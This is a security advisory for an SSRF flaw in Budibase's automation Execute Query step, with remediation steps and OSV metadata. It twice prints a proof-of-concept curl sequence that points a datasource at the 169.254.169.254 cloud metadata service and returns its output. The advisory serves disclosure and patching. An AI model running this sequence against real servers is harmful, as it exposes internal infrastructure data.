CVE-2026-48128: Budibase SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-6964-pp88-6wp9
CWE-918
Published
Advisory Summary

CVE-2026-48128 is a MODERATE ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Budibase libraries in the npm ecosystem. The issue involves ssrf via user-controlled queryid in automation execute query step. Remediation is available by upgrading affected packages to version 3.39.0.

CVE-2026-48128 at a Glance

CVE Identifier CVE-2026-48128
GHSA Identifier GHSA-6964-pp88-6wp9
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-48128

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

budibase fixed: 3.39.0
npm install budibase@3.39.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls budibase

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-48128, inspect your project dependencies using npm:

npm ls budibase

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.39.0), your application is affected.

Note: The npm ls budibase command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data. ### Details Inside the execute query automation step, the queryId value and any additional query parameters from `inputs.query` are assembled into a request context and forwarded to `queryController.executeV2AsAutomation`. The constructed context looks like the following: ```typescript const ctx: any = buildCtx(appId, emitter, { body: { parameters: rest, }, params: { queryId, }, user: context.user, }) ``` No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The `context.user` value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs. To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output. The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources. ### PoC ```bash curl -s -X POST "$BUDIBASE_HOST/api/datasources" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d '{ "datasource": { "name": "internal-meta", "type": "REST", "source": "REST", "config": { "url": "http://169.254.169.254", "rejectUnauthorized": false, "defaultHeaders": {} } } }' curl -s -X POST "$BUDIBASE_HOST/api/queries" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d "{ \"datasourceId\": \"$DATASOURCE_ID\", \"name\": \"meta-probe\", \"queryVerb\": \"read\", \"fields\": { \"path\": \"/latest/meta-data/\", \"queryString\": \"\", \"headers\": {}, \"requestBody\": \"\" }, \"parameters\": [], \"transformer\": \"return data\", \"schema\": {} }" curl -s -X POST "$BUDIBASE_HOST/api/automations" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-test\", \"definition\": { \"trigger\": { \"event\": \"app:trigger\", \"stepId\": \"APP\", \"inputs\": {}, \"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}}, \"type\": \"TRIGGER\", \"id\": \"trigger1\" }, \"steps\": [ { \"stepId\": \"EXECUTE_QUERY\", \"inputs\": { \"query\": { \"queryId\": \"$QUERY_ID\" } }, \"schema\": {}, \"type\": \"ACTION\", \"id\": \"step1\" } ] } }" curl -s -X POST "$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d '{}' ``` ### Impact An authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.

CVE-2026-48128 Affected Budibase Versions

1 component(s)
Fixed Versions:
3.39.0
Product / Package Ecosystem Affected Versions Fixed Version
budibase
npm
< 3.39.0
3.39.0

References

Frequently Asked Questions

What is CVE-2026-48128?
CVE-2026-48128 is a security vulnerability in Budibase involving SSRF via User-Controlled queryId in Automation Execute Query Step under CWE-918: Server-Side Request Forgery (SSRF).
Which Budibase versions are affected?
Affected versions include releases prior to 3.39.0 across affected packages: budibase.
What version fixes CVE-2026-48128?
Upgrading to 3.39.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is budibase affected?
Yes, budibase is affected in releases prior to 3.39.0. Upgrade your dependency to 3.39.0 or later.
What CWE is associated with CVE-2026-48128?
CVE-2026-48128 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-48128?
Run the dependency tree command: 'npm ls budibase'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6964-pp88-6wp9",
  "modified" : "2026-06-12T15:08:23Z",
  "published" : "2026-06-12T15:08:23Z",
  "aliases" : [ "CVE-2026-48128" ],
  "summary" : "Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step",
  "details" : "### Summary\n\nThe executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.\n\n### Details\n\nInside the execute query automation step, the queryId value and any additional query parameters from `inputs.query` are assembled into a request context and forwarded to `queryController.executeV2AsAutomation`. The constructed context looks like the following:\n\n```typescript\nconst ctx: any = buildCtx(appId, emitter, {\n  body: {\n    parameters: rest,\n  },\n  params: {\n    queryId,\n  },\n  user: context.user,\n})\n```\n\nNo validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The `context.user` value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.\n\nTo reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.\n\nThe key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.\n\n### PoC\n\n```bash\ncurl -s -X POST \"$BUDIBASE_HOST/api/datasources\" \\\n  -H \"Cookie: $SESSION_COOKIE\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"datasource\": {\n      \"name\": \"internal-meta\",\n      \"type\": \"REST\",\n      \"source\": \"REST\",\n      \"config\": {\n        \"url\": \"http://169.254.169.254\",\n        \"rejectUnauthorized\": false,\n        \"defaultHeaders\": {}\n      }\n    }\n  }'\n\ncurl -s -X POST \"$BUDIBASE_HOST/api/queries\" \\\n  -H \"Cookie: $SESSION_COOKIE\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"datasourceId\\\": \\\"$DATASOURCE_ID\\\",\n    \\\"name\\\": \\\"meta-probe\\\",\n    \\\"queryVerb\\\": \\\"read\\\",\n    \\\"fields\\\": {\n      \\\"path\\\": \\\"/latest/meta-data/\\\",\n      \\\"queryString\\\": \\\"\\\",\n      \\\"headers\\\": {},\n      \\\"requestBody\\\": \\\"\\\"\n    },\n    \\\"parameters\\\": [],\n    \\\"transformer\\\": \\\"return data\\\",\n    \\\"schema\\\": {}\n  }\"\n\ncurl -s -X POST \"$BUDIBASE_HOST/api/automations\" \\\n  -H \"Cookie: $SESSION_COOKIE\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"name\\\": \\\"ssrf-test\\\",\n    \\\"definition\\\": {\n      \\\"trigger\\\": {\n        \\\"event\\\": \\\"app:trigger\\\",\n        \\\"stepId\\\": \\\"APP\\\",\n        \\\"inputs\\\": {},\n        \\\"schema\\\": {\\\"inputs\\\": {\\\"properties\\\": {}, \\\"required\\\": []}},\n        \\\"type\\\": \\\"TRIGGER\\\",\n        \\\"id\\\": \\\"trigger1\\\"\n      },\n      \\\"steps\\\": [\n        {\n          \\\"stepId\\\": \\\"EXECUTE_QUERY\\\",\n          \\\"inputs\\\": {\n            \\\"query\\\": {\n              \\\"queryId\\\": \\\"$QUERY_ID\\\"\n            }\n          },\n          \\\"schema\\\": {},\n          \\\"type\\\": \\\"ACTION\\\",\n          \\\"id\\\": \\\"step1\\\"\n        }\n      ]\n    }\n  }\"\n\ncurl -s -X POST \"$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger\" \\\n  -H \"Cookie: $SESSION_COOKIE\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{}'\n```\n\n### Impact\n\nAn authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "budibase"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.39.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-6964-pp88-6wp9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48128"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T15:08:23Z",
    "nvd_published_at" : "2026-05-27T18:16:26Z"
  }
}